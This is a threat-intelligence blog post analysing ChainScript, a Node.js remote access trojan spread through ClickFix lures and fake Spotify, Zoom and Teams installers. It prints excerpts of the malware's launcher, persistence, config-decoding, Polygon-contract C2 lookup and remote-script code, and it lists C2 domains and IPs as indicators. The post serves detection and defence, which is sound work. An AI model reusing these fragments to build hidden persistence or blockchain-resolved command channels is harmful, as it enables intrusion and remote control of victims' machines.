

BLOG

ChainScript: Tracing a Node.js RAT Through the Blockchain



Key Takeaways

- Blackpoint's Adversary Pursuit Group (APG) identified and analyzed a previously unnamed Node.js remote access trojan, now being tracked as **ChainScript**, while investigating ClickFix activity.
- ChainScript has appeared under multiple build names, including **ComponentTask33**, **UpdateDigital**, **HostShared**, and **OrchidViolet66**, while presenting itself as Spotify, Zoom Workplace, and Microsoft Teams software.
- The malware uses an **EtherHiding** style C2 discovery technique that relies on a Polygon smart contract to locate its active WebSocket infrastructure.
- ChainScript provides broad remote access capabilities, including interactive shells, file operations, screenshots, payload deployment, wallet discovery, remote JavaScript execution, updates, and cleanup.
- ChainScript reflects an emerging pattern of malware using development frameworks and blockchain based C2 discovery to enable infrastructure rotation and complicate traditional indicator-based detection.

Executive Summary

Blackpoint's **Adversary Pursuit Group (APG)** identified and analyzed a previously unnamed Node.js remote access trojan, now being tracked as **ChainScript**. The malware was uncovered while investigating ClickFix activity that led to the execution of a malicious Windows Installer disguised as Spotify software. Once executed, the MSI deployed its own Node.js runtime and launched a JavaScript agent through hidden PowerShell and VBScript stages. The running agent then established persistence in the user profile.

ChainScript is a full featured RAT that gives operators broad control over an infected system. Its capabilities include interactive CMD and PowerShell sessions, file browsing and transfer, screenshots, payload deployment, wallet discovery, remote JavaScript execution, self-update, and cleanup.

For Command and Control (C2) discovery, ChainScript uses an **EtherHiding style technique** that relies on a Polygon smart contract to retrieve the active WebSocket panel at runtime. This allows the operator to rotate backend infrastructure without rebuilding or redistributing deployed agents.

Controlled protocol analysis of the live **ChainScript** infrastructure allowed APG to observe registration, tasking, and C2 behavior, providing additional visibility into both operator activity and the supporting infrastructure. Together, the findings show how ChainScript can change its build name, software lure, and backend infrastructure while keeping the underlying agent largely consistent.

An Emerging Pattern

ChainScript reflects a broader pattern in malware development where operators combine legitimate software frameworks with decentralized infrastructure to maintain remote access. Recent research into Tsundere and EtherRAT has documented similar combinations of Node.js, malicious installers, and blockchain based C2 discovery, indicating that these techniques are being adopted across multiple malware families rather than remaining in isolated implementations. ChainScript extends this pattern through its Polygon based resolver and modular remote access capabilities.

While these architectural similarities do not establish a shared developer or operator, they demonstrate how attackers can separate malware functionality from infrastructure management, allowing C2 endpoints to change without requiring new implants. This increases the importance of tracking behavioral and architectural similarities alongside traditional malware indicators.

Technical Analysis

Under the Cover Art

The ChainScript infection began with ClickFix activity that led the user to run **msiexec.exe**. The command reached out to **api-configuard[.]com**, where a request to the **capher.php** endpoint used a token parameter to retrieve and install the malicious MSI.

The resulting file, **ComponentTask33-4d14e6ac.msi**, presented itself as Spotify software from **Spotify AB**. The MSI acts primarily as the delivery and installation layer around the malware. The core ChainScript agent is the Node.js application rooted at **app\src\index.js**. That JavaScript code implements configuration handling, host profiling, C2 discovery, WebSocket communications, the command dispatcher, update logic, and cleanup routines. The bundled **node.exe** provides the runtime used to execute the agent, while the surrounding PowerShell, VBScript, CMD, and helper components support installation, launch, persistence, and individual capabilities.

The installer was configured to run in the user context using **ALLUSERS=2** and **MSIINSTALLPERUSER=1**, allowing the infection chain to continue without administrator privileges. Two custom actions handled the initial execution. Hidden PowerShell launched **._scatter.ps1**, followed by **wscript.exe** executing **._agent.vbs**. After staging was complete, the VBScript launcher started the bundled **node.exe** and loaded the ChainScript agent from **app\src\index.js** (Figure 1).

```
1 Set fso = CreateObject("Scripting.FileSystemObject")
2 installDir = fso.GetParentFolderName(WScript.ScriptFullName)
3 Set sh = CreateObject("WScript.Shell")
4 launcher = installDir & "\ProfileQuickHost.exe"
5 nodeExe = installDir & "\node.exe"
6 script = installDir & "\app\src\index.js"
7 If fso.FileExists(nodeExe) And fso.FileExists(script) Then
8   sh.Run """" & nodeExe & """" & script & """"", 0, False
9 ElseIf fso.FileExists(launcher) Then
10  sh.Run """" & launcher & """"", 0, False
11 End If
```

Figure 1: The ComponentTask33 VBS launcher starts the bundled Node.js runtime against the ChainScript agent.

The first stage, **._scatter.ps1**, used the original **%LOCALAPPDATA%\ComponentTask33** directory as an anchor and redistributed the package into several Microsoft-looking user profile paths. In the analyzed build, the Node.js runtime and dependencies were placed under **%LOCALAPPDATA%\Microsoft\Windows\Libraries\QuickSystemSearch**, the ChainScript application under **%APPDATA%\Microsoft\Windows\Themes\SettingsHostStandard58**, configuration and runtime state under **%LOCALAPPDATA%\Microsoft\Windows\NetCache\FilterManager**, and helper tooling under **%LOCALAPPDATA%\Microsoft\Windows\Shell\RemoteTempPrimary**. This separates the runtime, agent source, configuration, and supporting binaries before the agent starts (Figure 2).

```
1 "scatter": {
2   "runtime": { "base": "LocalAppData", "parts": ["Microsoft", "Windows", "Libraries", "QuickSystemSearch"] },
3   "app": { "base": "RoamingAppData", "parts": ["Microsoft", "Windows", "Themes", "SettingsHostStandard58"] },
4   "config": { "base": "LocalAppData", "parts": ["Microsoft", "Windows", "INetCache", "FilterManager"] },
5   "tools": { "base": "LocalAppData", "parts": ["Microsoft", "Windows", "Shell", "RemoteTempPrimary"] }
6 }
```

Figure 2: *ComponentTask33* defines separate Microsoft themed paths for the *ChainScript* runtime, application, configuration, and helper components.

Once the scatter routine finishes, `._agent.vbs` acts as the primary launcher for *ChainScript*. The script runs through `wscript.exe` and starts the bundled `node.exe` runtime against `app\src\index.js`, allowing the JavaScript agent to execute without displaying a console window.

The *ComponentTask33* build also includes several supporting files that handle functions outside the main JavaScript application.

ProfileQuickHost.exe is a small launcher helper that can start the bundled Node.js runtime and *ChainScript* agent, providing another path to execute `app\src\index.js`. **SearchTrustedRuntimeSvc.exe** is a .NET screenshot utility used by the agent to capture the desktop when an operator issues a screenshot task. **ManagerPrivateLoader.cmd** provides an additional launch or persistence path in the *ComponentTask33* build. These components support execution and individual RAT features, while the core *ChainScript* logic, including C2, task handling, and most remote access functionality, resides in `app\src\index.js`.

Persistence is established after the agent is running. *ChainScript* invokes **StreamServiceSharedBridge.ps1**, which first attempts to create a hidden **ComponentTask33Agent** scheduled task at user logon. The task launches `wscript.exe //B` against the agent VBS launcher. If task creation fails, the script falls back to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` using the same **ComponentTask33Agent** value (Figure 3). Both mechanisms remain in the user context and do not require elevation.

```
63 $action = New-ScheduledTaskAction -Execute $exe -Argument $args -WorkingDirectory $InstallDir
64 $trigger = New-ScheduledTaskTrigger -AtLogon -User $env:USERNAME
65 $settings = New-ScheduledTaskSettingsSet
66     -AllowStartIfOnBatteries `
67     -DontStopIfGoingOnBatteries `
68     -StartWhenAvailable `
69     -Hidden `
70     -ExecutionTimeLimit ([TimeSpan]::Zero)
71 $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Limited
72
73 try {
74     Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force | Out-Null
75 } catch {
76     $runKey = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
77     if ($args) {
78         $runValue = ""$exe"" $args"
79     } else {
80         $runValue = ""$exe""
81     }
82     New-Item -Path $runKey -Force | Out-Null
83     Set-ItemProperty -Path $runKey -Name $taskName -Value $runValue -Force
84 }
```

Figure 3: *ChainScript* establishes user level persistence through a scheduled task with a `Run` key fallback.

New Persona, Same Agent

APG later identified a second *ChainScript* build, **UpdateDigital-0c3c5204.msi**, that used a different build name while retaining the same underlying agent structure. The build followed the same core execution pattern, with `wscript.exe` launching `._agent.vbs`, which then started the bundled `node.exe` against `app\src\index.js`.

The *UpdateDigital* build also created **connect-delay-state.json**, using the same **completed**, **delayMs**, and **connectedAt** fields found in the recovered *ChainScript* source. During sandbox execution, the recorded delay was **24,540 milliseconds**, which matched the agent's randomized 10 to 30 second first connection window.

The two builds shared several artifacts that remained consistent even as the build name and staging layout changed. Both used `._agent.vbs`, `app\src\index.js`, **Windows MachineGuid** for host identity, and **connect-delay-state.json**. The connection state file tracks *ChainScript*'s randomized 10 to 30 second initial connection delay (Figure 4). The main difference was how the files were staged. **ComponentTask33** spread its components across several decoy directories, while **UpdateDigital** kept the runtime and application under a single staging root. This reinforced the earlier indication that the visible build names and installation layout were layered around the same underlying *ChainScript* agent.

```

1  const fs = require('fs');
2  const path = require('path');
3  const { getConfigRoot } = require('./installMeta');
4
5  const _0xc8c384083fn = 10 * 1000;
6  const _0xc8c384083fo = 30 * 1000;
7
8  function _0xc8c384083fm() {
9    return path.join(getConfigRoot(), 'connect-delay-state.json');
10 }
11
12 function getConnectDelayMs() {
13   return _0xc8c384083fn + Math.floor(Math.random() * (_0xc8c384083fo - _0xc8c384083fn + 1));
14 }

```

Figure 4: ChainScript randomizes its initial connection delay between 10 and 30 seconds and tracks the state in connect-delay-state.json.

Further indicator pivoting and sandbox analysis uncovered additional **ChainScript MSI** builds using different software lures. **HostShared-1a5b7e17.msi** presented itself as Zoom Workplace, while **OrchidViolet66-5595bc08.msi** presented itself as Microsoft Teams. Both builds used URI patterns already documented in ChainScript, including requests to `/api/agent/script`.

The multiple builds show a consistent pattern of rotating build names and legitimate software lures while preserving recognizable elements of the underlying ChainScript agent and C2 behavior.

Signed on the Dotted Line

At startup, `applsrlindex.js` loads **HiddenVirtualSilentLoader.dat** rather than reading a plaintext configuration. ChainScript first **Base64** decodes the file, XORs the resulting bytes using a **buildSeed** value from the installer metadata, and parses the recovered JSON. In the analyzed **ComponentTask33** build, the **buildSeed** value was **c8c384083f**. The decoded configuration exposed the agent token, a 12 minute heartbeat interval, a 15 second reconnect delay, a five minute contract cache, an embedded WebSocket panel, and the Polygon resolver settings (Figure 5).

```

16 function decodeConfigPayload(payload, seed) {
17   const data = Buffer.from(String(payload || '').replace(/\uFEFF/, '').trim(), 'base64');
18   const _0xc8c384083fk = deriveKey(seed);
19   const out = Buffer.alloc(data.length);
20   for (let _0xc8c384083fl = 0; _0xc8c384083fl < data.length; _0xc8c384083fl++) {
21     out[_0xc8c384083fl] = data[_0xc8c384083fl] ^ _0xc8c384083fk[_0xc8c384083fl % _0xc8c384083fk.length];
22   }
23   return JSON.parse(out.toString('utf8'));
24 }

```

Figure 5: ChainScript Base64 decodes and XORs its packed configuration before parsing the recovered JSON.

For C2 discovery, ChainScript uses an **EtherHiding** style technique that treats a **Polygon** smart contract as the authoritative resolver for the active WebSocket panel. The analyzed build targeted contract **0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4** on chain ID **137** and supplied function selector **0x4ab7874e** in an `eth_call` request. ChainScript ABI decodes the returned string, verifies that it begins with `ws://` or `wss://`, caches the result for five minutes, and uses it in place of the panel value stored directly in the configuration (Figure 6). Across observed ChainScript infrastructure, port **3847** appeared most frequently, although panels were also observed on ports **3851** and **3854**.

```

67  async function readPanelUrlFromContract({ address, rpcUrl }) {
68    const to = String(address || '').trim();
69    if (!/^0x[a-fA-F0-9]{40}$/.test(to)) {
70      throw new Error('Invalid contract address');
71    }
72    const result = await _0xc8c384083fs(rpcUrl, {
73      jsonrpc: '2.0',
74      id: 1,
75      method: 'eth_call',
76      params: [{ to, data: _0xc8c384083fv }, 'latest'],
77    });
78    if (!result || result === '0x') {
79      throw new Error('Contract call returned empty data');
80    }
81    return normalizePanelUrl(_0xc8c384083fr(result));
82  }

```

Figure 6: ChainScript queries the resolver contract with `eth_call` and decodes the returned WebSocket panel.

Independent research published by [Justice-Hammer](#) identified an additional relationship between the ComponentTask33 build and its resolver contract. Published on [GitHub](#), the research found that the Polygon contract used by the sample was deployed only **23 seconds** before the MSI was built, with the contract deployment recorded at 11:20:09 UTC and the installer creation timestamp at 11:20:32 UTC on August 24, 2026. The research further noted that a gap of only 23 seconds was too tight to reasonably reflect a manual process, strongly indicating that contract deployment was automated as part of the malware build pipeline and that resolver contracts may be generated alongside individual builds.

Once the panel is resolved, ChainScript connects over WebSockets and authenticates using the **X-Agent-Token** header. The agent derives a stable host identity from the system hostname and **Windows MachineGuid**, then registers details including the username, architecture, uptime, memory, CPU count, local IPv4 address, and domain or workgroup information. The recovered protocol handles **command**, **shell**, and **ping** message types, while outbound messages include **heartbeat**, **pong**, **command_result**, **shell**, and **wallet_report**. Request IDs tie operator commands back to their corresponding results (Figure 7).

```

80  function _0xc8c384083f33() {
81    _0xc8c384083f39.on('open', async () => {
82      send({ type: 'register', agent: getAgentInfo(), token: config.token });
83      _0xc8c384083f2x();
84      await _0xc8c384083f32();
85    });
86
87    _0xc8c384083f39.on('message', (data) => {
88      let message;
89      try {
90        message = JSON.parse(data.toString());
91      } catch {
92        return;
93      }
94
95      if (message.type === 'ping') {
96        send({ type: 'pong', timestamp: Date.now() });
97        return;
98      }
99
100     if (message.type === 'shell') {
101       _0xc8c384083f3d?.handleMessage(message);
102       return;
103     }
104
105     if (message.type === 'command') {
106       handleCommand(message.payload)
107         .then((response) => {
108           send({ type: 'command_result', ...response, agentId: getAgentInfo().id });

```

Figure 7: ChainScript registers the host and routes WebSocket tasking through a structured message protocol.

Alongside the normal WebSocket C2, **remoteScript.js** derives **/api/agent/script** from the active panel address and checks for server supplied JavaScript using the same **X-Agent-Token**. Returned code executes inside a **Node.js vm** context and can expose **onLoad**, **onConnect**, and **extraCommands** hooks, allowing the backend to add command handlers beyond the built-in dispatcher. When APG tested the path against the live infrastructure, the server returned an HTTP 404 response stating **Agent port – WebSocket only**, suggesting that remote script delivery was not enabled on that listener at the time. Failures from this request are ignored, so the rest of the agent continues operating if the optional script endpoint is unavailable.

Full Service Remote Access

Once connected, **applsrc\index.js** initializes a structured command dispatcher rather than treating every task as arbitrary script. The built-in handlers give the operator direct control over the infected system through process execution, interactive shells, file operations, screenshots, payload deployment, wallet discovery, remote JavaScript execution, updates, and cleanup (Figure 8).

Task	Capability
cmd	Execute commands through cmd.exe and return output
powershell	Execute PowerShell content and return output
shell	Open interactive CMD or PowerShell sessions through node-pty
files	Enumerate drives and list, read, transfer, write, or delete files
screenshot	Capture the desktop and return a PNG
download_run	Download a file to %TEMP% and launch it
deploy	Deploy MSI, PowerShell, or CMD payloads
wallet_scan	Inventory desktop wallets and browser wallet extensions
eval	Execute JavaScript within the running agent process
agent_update	Replace agent components from a ZIP update and restart
kill	Remove persistence and local agent components

Figure 8: ChainScript built in command handlers and supported remote access capabilities.

Direct command execution and interactive access are implemented separately. **cmd** tasks launch **cmd.exe /c**, while PowerShell tasks write operator content to **%TEMP%\wra-ps-*** before starting **powershell.exe** with **-NoProfile**, **-NonInteractive**, and **-ExecutionPolicy Bypass**. For longer sessions, ChainScript uses **node-pty** with support for **ConPTY** and **WinPTY**. Shell sessions support start, input, resize, and close actions, giving the operator a real interactive CMD or PowerShell terminal rather than a series of one-shot commands.

The built-in file manager supports drive enumeration, directory listings, text reads, **Base64** downloads, file writes, and recursive deletion. The **download_run** handler stages arbitrary HTTP content under **%TEMP%\agent-dl-*** and launches it hidden or detached, while **deploy** can execute MSI, **PowerShell**, or CMD payloads using user level installation paths. Screenshot capture is implemented through **SearchTrustedRuntimeSvc.exe**, which identifies internally as **CaptureScreen.exe** and captures the full virtual desktop through .NET drawing APIs. If the helper fails, the agent can fall back to **PowerShell** using the same APIs before returning the PNG to C2 as **Base64**.

The built-in command set is also not a hard ceiling on functionality. Remote modules can register new task handlers through **extraCommands** (Figure 9). Separately, **agent_update** accepts a ZIP package, replaces application source or selected dependencies, and restarts the agent. The **kill** path removes persistence and creates temporary cleanup logic to delete the scattered installation directories. The recovered builder metadata also contains feature strings such as **interactive-shell**, **manual-screenshot**, **bundled-deps**, **build-polymorph**, **scatter-layout**, **packed-config**, **wallet-scan-manual**, and **contract-discovery**, reinforcing that the surrounding installer and feature set were generated around a modular agent.

```

31 function _0xc8c384083f4y(code) {
32   const module = { exports: {} };
33   const sandbox = {
34     module,
35     exports: module.exports,
36     console,
37     Buffer,
38   };
39   const _0xc8c384083f1m = `(function(module, exports, console, Buffer) {\n${code}\n})(module, module.exports, console, Buffer);`;
40   vm.runInNewContext(_0xc8c384083f1m, sandbox, { timeout: 5000, filename: 'remote-agent-script.js' });
41   return module.exports;
42 }
43
44 async function loadRemoteScript(panelUrl, token) {
45   const code = await _0xc8c384083f4x(panelUrl, token);
46   _0xc8c384083f4z = _0xc8c384083f4y(code);
47   if (typeof _0xc8c384083f4z.onLoad === 'function') {
48     await _0xc8c384083f4z.onLoad();
49   }
50   return { loaded: true, hasExtraCommands: Boolean(_0xc8c384083f4z.extraCommands) };
51 }

```

Figure 9: ChainScript can load server supplied JavaScript and extend the agent with additional command handlers.

ChainScript also includes wallet reconnaissance, although the analyzed build does not behave like a traditional credential stealer. The **wallet_scan** capability inventories installed desktop wallets and browser wallet extensions and reports their names and paths. APG did not identify dedicated functionality for extracting seed phrases, private keys, browser passwords, cookies, or **DPAPI** protected secrets, though the broader shell and file access capabilities could still be used to collect that data manually.

Following the Chain

Static analysis of the **ChainScript** agent established how compromised hosts register with backend infrastructure, resolve active C2 endpoints, maintain WebSocket connectivity, and recover from connection failures. Analysis of **applsrlindex.js** showed that the agent does not rely on a permanently embedded C2 address. Instead, it queries a Polygon smart contract to dynamically resolve the backend used for tasking.

During protocol analysis, the Polygon contract initially resolved **shift-api-control[.]com:3847** as the active ChainScript backend. The connection remained active through repeated heartbeat traffic for approximately 18 minutes before the server issued a **files** task requesting enumeration of available drives.

Approximately 12 minutes later, the WebSocket session was reset. Consistent with ChainScript's recovered reconnect logic, the infrastructure was resolved again through the same Polygon contract. At that point, the contract returned **bedotiq[.]net:3854**, replacing the previously observed **shift-api-control[.]com:3847** endpoint.

The sequence provided direct visibility into the threat actor's ability to rotate active C2 infrastructure without modifying the deployed ChainScript agent. By separating backend discovery from the malware itself and using the Polygon contract as an external resolver, the operator can redirect infected hosts to new infrastructure while retaining the same implant and reconnect workflow. Although APG could not determine what specifically prompted the infrastructure change, the observed rotation demonstrated that ChainScript's resolver architecture provides the threat actor with a resilient mechanism for rapidly moving C2 services.

Conclusion

ChainScript combines familiar RAT functionality with a flexible C2 design built around blockchain based infrastructure discovery. The Node.js agent gives operators interactive shell access, file management, screenshots, payload deployment, wallet discovery, remote JavaScript execution, and update capabilities, while the Polygon resolver provides a stable way for deployed agents to locate whichever WebSocket panel is active.

The related MSI builds also showed that visible build names and software lures can change without meaningfully changing the underlying malware. **ComponentTask33** and **UpdateDigital** retained stable agent artifacts across different staging layouts, while **HostShared** and **OrchidViolet66** extended the same pattern through Zoom Workplace and Microsoft Teams lures. Across the cluster, the core agent and backend behavior remained recognizable.

Further analysis of the live **ChainScript** infrastructure validated the static findings and provided visibility into active C2 behavior, including operator tasking and subsequent infrastructure rotation through the Polygon based resolver.

Recommendations

Reduce ClickFix execution paths. Where practical, disable the Windows Run dialog for users who do not need it and restrict user initiated MSI installation or script execution from user writable directories.

Train users to recognize ClickFix. Users should treat any website asking them to press **Win+R**, paste a command, or execute PowerShell as suspicious and report it instead of following the instructions.

Hunt the ChainScript execution chain. Look for **msiexec.exe** leading to **wscript.exe** and **._agent.vbs**, followed by a bundled **node.exe** executing **app\src\index.js**. Treat **._scatter.ps1** as a variant indicator rather than a required artifact.

Detect persistence creation. Watch for **node.exe** spawning PowerShell to create a scheduled task that launches **wscript.exe** from the user profile. ChainScript can fall back to a user level **Run key** if task creation fails.

Hunt recurring agent artifacts. Prioritize **._agent.vbs**, **app\src\index.js**, **connect-delay-state.json**, and bundled Node.js runtimes under **%LOCALAPPDATA%** or **%APPDATA%**. These remained consistent across the builds analyzed by APG.

Correlate blockchain and WebSocket activity. Unexpected Polygon or EVM RPC access followed by **node.exe** establishing an outbound WebSocket connection is more useful than either behavior alone. Avoid blocking legitimate public RPC infrastructure globally.

Treat infrastructure IOCs as short lived. Domains, ports, IPs, and contract addresses are useful for retrohunting and enrichment, but ChainScript has already demonstrated that its infrastructure rotates. Favor process lineage, host artifacts, and network behavior for longer term detection.

Treat infection as a full remote access compromise. Isolate affected systems, review for secondary payloads and downstream activity, rotate exposed credentials, and reimagine where appropriate. ChainScript provides command execution, file access, payload deployment, remote JavaScript, and update capabilities.

Indicators of Compromise

Host and File Indicators

Type	Indicator	SHA-256	Context
ChainScript MSI	ComponentTask33-4d14e6ac.msi	20a9e297220fe4cb9f939eaa82582c6e9a8f6dd4424635206dec08fa1986b8fa	Presented as Spotify software
ChainScript MSI	UpdateDigital-0c3c5204.msi	6e07d2de3618bb92265248653361ff39c63c0cfba2f4aa2538b3128fa9ce3a50	Presented as Spotify software
ChainScript MSI	HostShared-1a5b7e17.msi	bad0600a850436154f8d7b6f7a191dc45bd136897780cd032b336cb4b358d241	Presented as Zoom Workplace
ChainScript MSI	OrchidViolet66-5595bc08.msi	496c202abf53984164f5f319a72b02c8e06016d0f35681353ef07db8e6d1b31f	Presented as Microsoft Teams
Launcher helper	ProfileQuickHost.exe	9fa80577b8b3cb9c3062e5e1986cc9fe0c26eed023f7d430dfa5c60169c15c45	Bundled launcher helper
Screenshot helper	SearchTrustedRuntimeSvc.exe	7969ccaf1db750bc3b02d51626d6916ecbd0c0cf2f7de3c7bc0be240f5f2978d	Screenshot helper
Launcher	._agent.vbs	N/A	Observed across multiple ChainScript builds and launched via wscript.exe
Agent path	app\src\index.js	N/A	Core ChainScript Node.js agent entry point
State file	connect-delay-state.json	N/A	Stores completed, delayMs, and connectedAt for the initial randomized connection delay
Config file	HiddenVirtualSilentLoader.dat	N/A	Packed ChainScript configuration containing connection and Polygon resolver settings
Variant script	._scatter.ps1	N/A	ComponentTask33 scatter installer
Persistence helper	StreamServiceSharedBridge.ps1	N/A	Scheduled task persistence helper observed in ComponentTask33
Launcher helper	ManagerPrivateLoader.cmd	N/A	Alternate launch/persistence helper observed in ComponentTask33

Scheduled task	ComponentTask33Agent	N/A	Scheduled task persistence used by ComponentTask33
Source identifier	WinRemoteAgentAutoStart	N/A	Generic persistence identifier retained in the recovered source
Temp execution	%TEMP%\wra-ps-*	N/A	Temporary PowerShell scripts created for C2 PowerShell commands
Payload staging	%TEMP%\agent-dl-*	N/A	Downloaded payload staging pattern

Network Indicators

Type	Indicator	Context
Domain	api-configuard[.]com	ClickFix delivery infrastructure used to retrieve the malicious MSI
HTTP path	capher.php	Tokenized endpoint used to retrieve the malicious MSI
Domain / port	kerosand[.]net:3847	ChainScript infrastructure associated with /api/agent/script
Domain / port	shift-api-control[.]com:3847	WebSocket panel resolved from the Polygon contract and observed by APG
Domain / port	moweros[.]net:3851	Historical WebSocket panel recovered from the Polygon contract history
Domain / port	bedotiq[.]net:3854	WebSocket panel observed after contract rotation during APG testing
Domain / port	giperon[.]net:3847	C2 used by the OrchidViolet66 ChainScript MSI
IP address	176.65.144[.]127	Hosting associated with earlier observed ChainScript C2 domains
IP address	176.65.144[.]40	Hosting associated with giperon[.]net and newer ChainScript activity
Polygon contract	0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4	ChainScript C2 resolver contract used by the analyzed ComponentTask33 build
Function selector	0x4ab7874e	Contract call used to retrieve the panel URL
HTTP path	/api/agent/script	Optional remote JavaScript endpoint observed across ChainScript builds
HTTP header	X-Agent-Token	Agent authentication header; use with additional context

/

Resources

[Justice-Hammer. "RES-0007: ComponentTask33 MSI Loader with On-Chain C2 Discovery." GitHub.](#)

The 2AM Test

Executive Guide

Most MDR evaluations focus on dashboards, not what a provider actually does when something is live. Learn the four questions that matter more than the demo: **authority, speed, surface coverage, and proof.**

*88–91% of ransomware attacks land outside business hours

[GET YOUR COPY](#)